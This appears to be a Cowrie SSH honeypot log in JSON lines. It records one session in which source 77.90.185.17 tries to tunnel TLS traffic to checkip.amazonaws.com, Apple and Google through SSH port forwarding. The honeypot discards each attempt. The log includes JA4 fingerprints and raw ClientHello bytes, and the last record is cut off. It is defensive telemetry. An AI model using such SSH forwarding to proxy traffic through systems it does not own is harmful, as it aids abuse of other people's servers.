{"eventid":"cowrie.direct-tcpip.request","dst_ip":"18.136.167.143","dst_port":443,"src_ip":"77.90.185.17","src_port":39336,"message":"direct-tcp connection request to 18.136.167.143:443 from 127.0.0.1:39336","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:47.894661Z","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"13.214.48.212","dst_port":443,"src_ip":"77.90.185.17","src_port":40426,"message":"direct-tcp connection request to 13.214.48.212:443 from 127.0.0.1:40426","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.328664Z","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"13.214.48.212","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 13.214.48.212:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.439518Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"13.214.48.212","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03$\\xb2\\nO0\\t\\xd9M\\x99\\x06I\\x96\\xad\\xe4\\x83bo\\x08\\xf4{\\xf0\\x80\\x0b\\xa0`k=@\\xb3`\\xc2p M\\x14\\xdba\\x15\\xf9\\x1b\\x10V\\xa3L\\x19C\\xee.&\\x8f\\xd0\\xdc\\xcd\\x11\\x044\\xcd\\xd0\\xc1\\xffai:\\x86\\x8c\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x92\\xa0OGFy\\xc6K\\x17\\xaf\\x14\"\\x8e\\x01\\xfe\\x84.?r\\x8c\\x8c\\xbf\\x9e\\xa7\\xab\\xa4\\x89Ol|\\x96^\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 13.214.48.212:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03$\\xb2\\nO0\\t\\xd9M\\x99\\x06I\\x96\\xad\\xe4\\x83bo\\x08\\xf4{\\xf0\\x80\\x0b\\xa0`k=@\\xb3`\\xc2p M\\x14\\xdba\\x15\\xf9\\x1b\\x10V\\xa3L\\x19C\\xee.&\\x8f\\xd0\\xdc\\xcd\\x11\\x044\\xcd\\xd0\\xc1\\xffai:\\x86\\x8c\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x92\\xa0OGFy\\xc6K\\x17\\xaf\\x14\"\\x8e\\x01\\xfe\\x84.?r\\x8c\\x8c\\xbf\\x9e\\xa7\\xab\\xa4\\x89Ol|\\x96^\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.443009Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":40652,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:40652","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.559608Z","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"18.136.167.143","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 18.136.167.143:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.642164Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"18.136.167.143","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6\\xadf\\x894z\\x84\\xfa\\xb6u\\x14\\xe54a\\x96\\x08r\\xfe\\x95\\xefT\\x87\\x1e\\xb6\\xe9&\\xe4\\xc4Z\\'+\\x1a \\x9b\\xee\\xfe\\x97\\x0ef\\xe2L\"\\xbfkQ =g\\x9a\\xc1\\x95;Y~q\\xb2\\x04\\x1a\\x05\\xe2\\xe1U>4}\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xec\\x94\\xc8\\xb4\\xeb\\x12[\\xf1\\x9e\\xe2*\\x9aM\\xc9\\xfd\\x82\\xd8r\\xe6\\x074\\x1a%\\xdfM\\xd9h\\x10\\x88\\x11\\x99\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 18.136.167.143:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6\\xadf\\x894z\\x84\\xfa\\xb6u\\x14\\xe54a\\x96\\x08r\\xfe\\x95\\xefT\\x87\\x1e\\xb6\\xe9&\\xe4\\xc4Z\\'+\\x1a \\x9b\\xee\\xfe\\x97\\x0ef\\xe2L\"\\xbfkQ =g\\x9a\\xc1\\x95;Y~q\\xb2\\x04\\x1a\\x05\\xe2\\xe1U>4}\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xec\\x94\\xc8\\xb4\\xeb\\x12[\\xf1\\x9e\\xe2*\\x9aM\\xc9\\xfd\\x82\\xd8r\\xe6\\x074\\x1a%\\xdfM\\xd9h\\x10\\x88\\x11\\x99\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.646111Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.673854Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032\\xa2$\\xc2\\xf1h\\xef\\xa5:a\\xdbs\\xb7?\\xf3.\\xc4\\xe4\\x15\\xe9\\xf4^\\x01\\xc4\\xd3\\x01O\\xfc\\xe6\\x0f\\xa4\\x91 \\xae\\xb1\\xe0\\xca\\x0en\\x926\\x1cX\\xa277?h\\xe6\\x86~\\x9b\\x1bA\\x08\\xd8\\n\\n\\xe9\\xf3AY\\x1b9\\xd7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x7f\\xeau\\x14\\xea\\xfd\\x08\\xf3\\x98\\x94\\xf9A\\xf2\\xf5\\xa3\\x8c$\\x8a\\x9a%\\xa3\\xd5%\\xbbfm;\\r-\\xe5/\\x10\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032\\xa2$\\xc2\\xf1h\\xef\\xa5:a\\xdbs\\xb7?\\xf3.\\xc4\\xe4\\x15\\xe9\\xf4^\\x01\\xc4\\xd3\\x01O\\xfc\\xe6\\x0f\\xa4\\x91 \\xae\\xb1\\xe0\\xca\\x0en\\x926\\x1cX\\xa277?h\\xe6\\x86~\\x9b\\x1bA\\x08\\xd8\\n\\n\\xe9\\xf3AY\\x1b9\\xd7\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x7f\\xeau\\x14\\xea\\xfd\\x08\\xf3\\x98\\x94\\xf9A\\xf2\\xf5\\xa3\\x8c$\\x8a\\x9a%\\xa3\\xd5%\\xbbfm;\\r-\\xe5/\\x10\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.677687Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.152.119","dst_port":443,"src_ip":"77.90.185.17","src_port":41072,"message":"direct-tcp connection request to 142.251.152.119:443 from 127.0.0.1:41072","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:48.904396Z","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.152.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.152.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:57:49.019415Z","src_ip":"77.90.185.17","session":"bbde0598a7fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.152.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-LG\\xda\\xfd\\x12\\\\\\xe4\\x0e\\xb8\\xea\\x95\\x12\\xe2\\x99!P\\x9cv\\xaaI\\xea\\x95\\xa0.\\xff\\xa17{\\xc5\\xdf\\x00 \\x16Ru\\xce\\x1e\\nzE6\\xf2\\xe8}t\\x19\\xee\\xed\\xdb\\xab\\xa7\\xae\\x84\\x0c~\\x06\\x90?Z\\xda\\x8cu\\x84\\x0f\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 